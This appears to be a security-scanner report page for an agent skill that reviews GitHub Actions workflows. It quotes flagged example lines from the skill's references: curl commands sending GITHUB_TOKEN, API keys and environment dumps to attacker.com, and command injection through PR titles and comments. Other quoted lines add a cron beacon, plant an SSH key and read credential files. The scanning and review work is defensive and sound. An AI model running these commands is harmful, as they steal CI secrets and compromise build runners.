gha-security-review

77 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By sickn33/agentic-awesome-skills (GitHub) · coding · 49,524 stars · scanned at commit 00f9c40

Review GitHub Actions workflows for exploitable vulnerabilities with concrete attack paths and harmless proof-of-concept sketches. Require explicit authorization for active testing.

Works with any agent that supports SKILL.md skills.

What this skill can do

Sends data to these websites: attacker.com, internal-api.corp.example.com, 169.254.169.254

The author does not mention this.

Found in 13 places.

skills/gha-security-review/references/ai-prompt-injection-via-ci.md, line 72@curl -sSfL https://attacker.com/exfil?key=$(ANTHROPIC_API_KEY) > /dev/null 2>&1
skills/gha-security-review/references/comment-triggered-commands.md, line 71/greet"; curl https://attacker.com/$(env | base64) #
skills/gha-security-review/references/credential-escalation.md, line 192curl -d "token=$GITHUB_TOKEN" https://attacker.com/collect

Show 10 more

skills/gha-security-review/references/expression-injection.md, line 20"; curl https://attacker.com/$(cat $GITHUB_TOKEN) #
skills/gha-security-review/references/expression-injection.md, line 25echo "PR Title: "; curl https://attacker.com/$(cat $GITHUB_TOKEN) #"
skills/gha-security-review/references/expression-injection.md, line 72The base64 decodes to `curl -sSfL attacker.com/steal`, executed via command substitution in the filename.
skills/gha-security-review/references/pwn-request.md, line 50`curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
skills/gha-security-review/references/pwn-request.md, line 79os.system(f"curl -d token=$GITHUB_TOKEN https://attacker.com/collect")
skills/gha-security-review/references/real-world-attacks.md, line 50`curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
skills/gha-security-review/references/runner-infrastructure.md, line 34echo '* * * * * curl https://attacker.com/beacon' >> /var/spool/cron/crontabs/runner
skills/gha-security-review/references/runner-infrastructure.md, line 52curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect
skills/gha-security-review/references/runner-infrastructure.md, line 68curl http://internal-api.corp.example.com/admin
skills/gha-security-review/references/runner-infrastructure.md, line 70curl http://169.254.169.254/latest/meta-data/ # Cloud metadata (example of attack vector)

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 6 places.

skills/gha-security-review/references/comment-triggered-commands.md, line 71/greet"; curl https://attacker.com/$(env | base64) #
skills/gha-security-review/references/runner-infrastructure.md, line 37mkdir -p ~/.ssh
skills/gha-security-review/references/runner-infrastructure.md, line 38echo "attacker-public-key" >> ~/.ssh/authorized_keys

Show 3 more

skills/gha-security-review/references/runner-infrastructure.md, line 41cat ~/.docker/config.json # Docker registry credentials
skills/gha-security-review/references/runner-infrastructure.md, line 42cat ~/.npmrc # npm tokens
skills/gha-security-review/references/runner-infrastructure.md, line 43cat ~/.aws/credentials # AWS credentials from previous deployments

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 3 places.

skills/gha-security-review/references/expression-injection.md, line 160For direct shell interpolation, pass expressions through environment variables and quote their use. This does not protect a later `eval`, `bash -c` constructed
skills/gha-security-review/references/pwn-request.md, line 79os.system(f"curl -d token=$GITHUB_TOKEN https://attacker.com/collect")
skills/gha-security-review/references/runner-infrastructure.md, line 50nohup bash -c 'while true; do

Changes files outside its own folder

This is disclosed by the author in the skill's SKILL.md or README.

Found in 2 places.

skills/gha-security-review/references/runner-infrastructure.md, line 37mkdir -p ~/.ssh
skills/gha-security-review/references/runner-infrastructure.md, line 38echo "attacker-public-key" >> ~/.ssh/authorized_keys

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Other copies in this repository

sickn33/agentic-awesome-skills has 2 more folders with a skill named gha-security-review. This page shows the lowest-scoring copy.

plugins/agentic-awesome-skills/skills/gha-security-review 77/100 · Review before installing
plugins/agentic-awesome-skills-claude/skills/gha-security-review 77/100 · Review before installing

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'gha-security-review' ] || [ -L ~/.agents/skills/'gha-security-review' ]; then echo 'A skill folder named gha-security-review already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/sickn33/agentic-awesome-skills' "$d" && git -C "$d" checkout --quiet '00f9c4077878be6ffcc093c099f05a6cccaf1b95' -- 'skills/gha-security-review' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/gha-security-review' ~/.agents/skills/'gha-security-review' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'gha-security-review' ~/.claude/skills/'gha-security-review' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for sickn33/agentic-awesome-skills shows the score of its lowest-scoring skill.

SkillTrust badge for sickn33/agentic-awesome-skills

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/sickn33/agentic-awesome-skills.svg)](https://zalavijaysinh.github.io/skilltrust/repos/sickn33/agentic-awesome-skills/)

Score history

Date	Version	Score
2026-11-11	`00f9c40`	77
2026-11-08	`828257c`	77
2026-11-07	`828257c`	77